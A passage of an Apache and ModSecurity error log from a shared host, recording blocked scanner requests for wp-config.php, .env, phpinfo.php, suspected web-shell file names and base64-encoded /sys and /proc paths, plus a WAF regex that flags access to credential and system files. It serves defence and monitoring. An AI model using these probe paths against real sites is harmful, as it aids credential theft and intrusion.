vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/bdktk.php"] [unique_id "ai3wmSmiP80klyS0NnrfrQAAASM"] [Sat Jun 13 18:06:49.453668 2026] [http2:info] [pid 531797:tid 531797] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:06:49.503683 2026] [security2:error] [pid 531155:tid 531272] [remote 17.246.19.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmSmiP80klyS0NnrfuwABJnQ"] [Sat Jun 13 18:06:49.551526 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.48:59651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.557439 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.48:59651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.633312 2026] [security2:error] [pid 531797:tid 532008] [client 12.50.107.220:58798] ModSecurity: Access denied with code 406 (phase 1). IPmatchFromFile: "12.50.107.220" matched at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1090"] [id "999022"] [msg "Blacklisted IP Address for POST data StopForumSpam List"] [hostname "www.afrilech.org"] [uri "/wp-comments-post.php"] [unique_id "ai3wmcTA7b1mZrmcA-8A8wAAAiA"], referer: http://www.afrilech.org/hello-world/ [Sat Jun 13 18:06:49.638808 2026] [security2:error] [pid 531155:tid 531275] [remote 13.205.160.37:49086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "tywallace.com"] [uri "/wp-login.php"] [unique_id "ai3wmSmiP80klyS0NnrfwwABL3c"] [Sat Jun 13 18:06:49.674137 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OQ== [Sat Jun 13 18:06:49.674597 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OQ== [Sat Jun 13 18:06:49.681881 2026] [security2:error] [pid 531797:tid 532008] [client 12.50.107.220:58798] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "406"] [hostname "www.afrilech.org"] [uri "/wp-comments-post.php"] [unique_id "ai3wmcTA7b1mZrmcA-8A8wAAAiA"], referer: http://www.afrilech.org/hello-world/ [Sat Jun 13 18:06:49.685210 2026] [access_compat:error] [pid 531797:tid 531894] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.685648 2026] [access_compat:error] [pid 531797:tid 531894] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.711085 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:06:49.711595 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZQ== [Sat Jun 13 18:06:49.717373 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.89:41616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.719027 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.89:41616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.825883 2026] [security2:error] [pid 531155:tid 531306] [client 191.234.188.123:33306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/wp-ssfc.php"] [unique_id "ai3wmSmiP80klyS0Nnrf1wAAAR8"] [Sat Jun 13 18:06:50.125282 2026] [security2:error] [pid 531797:tid 532013] [client 191.233.234.186:60627] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/wp-scanner.php"] [unique_id "ai3wmsTA7b1mZrmcA-8A_gAAAiU"] [Sat Jun 13 18:06:50.183110 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:06:50.183589 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:06:50.197782 2026] [security2:error] [pid 531155:tid 531249] [remote 17.22.245.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmimiP80klyS0Nnrf6gABfF0"] [Sat Jun 13 18:06:50.224126 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OQ== [Sat Jun 13 18:06:50.224445 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0OQ== [Sat Jun 13 18:06:50.243429 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.41:38487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:50.243894 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.41:38487] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:50.269699 2026] [security2:error] [pid 531797:tid 532043] [client 191.234.188.123:64620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/enacting.php"] [unique_id "ai3wmsTA7b1mZrmcA-8BAAAAAkI"] [Sat Jun 13 18:06:50.306736 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.98:46164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:50.307046 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.98:46164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:50.335720 2026] [security2:error] [pid 531797:tid 531960] [remote 17.246.23.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmsTA7b1mZrmcA-8BBAACJGA"] [Sat Jun 13 18:06:50.365286 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.82:35038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:50.365729 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.82:35038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:50.374378 2026] [security2:error] [pid 531797:tid 532025] [client 45.61.186.169:54534] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.186.61.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.salserodeacero.net"] [uri "/wp-login.php"] [unique_id "ai3wmsTA7b1mZrmcA-8BAwAAAjE"] [Sat Jun 13 18:06:50.398106 2026] [security2:error] [pid 531155:tid 531286] [client 191.233.234.186:33665] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/twinklingly.php"] [unique_id "ai3wmimiP80klyS0Nnrf9AAAAQs"] [Sat Jun 13 18:06:50.550629 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:54250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:06:50.551064 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:54250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDY2MTQzL2N3ZA== [Sat Jun 13 18:06:50.625581 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:06:50.625899 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:06:50.667480 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:50.667776 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:50.911442 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.111:41316] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:50.911883 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.111:41316] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:50.953011 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.80:53485] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:50.953459 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.80:53485] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:50.953828 2026] [security2:error] [pid 531797:tid 532031] [client 103.146.202.144:60948] ModSecurity: Access denied with code 406 (phase 1). Pattern match "^POST$" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "187"] [id "900401"] [msg "PHP Spam Botnet"] [hostname "webmail.agr.lmg.mybluehost.me"] [uri "/"] [unique_id "ai3wmsTA7b1mZrmcA-8BDwAAAjY"] [Sat Jun 13 18:06:51.011718 2026] [security2:error] [pid 531797:tid 532000] [client 89.251.0.72:34631] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/backup/autoload_classmap.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BEAAAAhg"] [Sat Jun 13 18:06:51.110118 2026] [security2:error] [pid 531797:tid 532030] [client 91.92.42.86:10804] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BEgAAAjU"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.128582 2026] [security2:error] [pid 531155:tid 531322] [client 20.151.217.54:46208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/wpconf.php"] [unique_id "ai3wmymiP80klyS0NnrgFwAAAS8"] [Sat Jun 13 18:06:51.132722 2026] [security2:error] [pid 531155:tid 531374] [client 91.92.42.86:10818] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wmymiP80klyS0NnrgGAAAAWM"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.159844 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9wb3dlcg== [Sat Jun 13 18:06:51.160291 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9wb3dlcg== [Sat Jun 13 18:06:51.178453 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.73:49796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:51.178889 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.73:49796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:51.204830 2026] [security2:error] [pid 531797:tid 532021] [client 91.92.42.86:10836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BFwAAAi0"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.211706 2026] [autoindex:error] [pid 531797:tid 532020] [client 151.247.52.102:59280] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://bienesraices.hn/__media__/js/netsoltrademark.php?d=lapasteeventos.com [Sat Jun 13 18:06:51.219278 2026] [security2:error] [pid 531155:tid 531321] [client 91.92.42.86:10842] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wmymiP80klyS0NnrgJAAAAS4"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.231270 2026] [security2:error] [pid 531155:tid 531246] [remote 17.22.237.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmymiP80klyS0NnrgJgABbVo"] [Sat Jun 13 18:06:51.233550 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:51.233907 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:51.267041 2026] [security2:error] [pid 531155:tid 531398] [client 91.92.42.86:10866] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/.env"] [unique_id "ai3wmymiP80klyS0NnrgKQAAAXs"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.293603 2026] [security2:error] [pid 531155:tid 531379] [client 91.92.42.86:10882] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wmymiP80klyS0NnrgLAAAAWg"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.323999 2026] [security2:error] [pid 531155:tid 531342] [client 91.92.42.86:10904] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env"] [unique_id "ai3wmymiP80klyS0NnrgMAAAAUM"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.326237 2026] [security2:error] [pid 531797:tid 532081] [client 91.92.42.86:10920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname 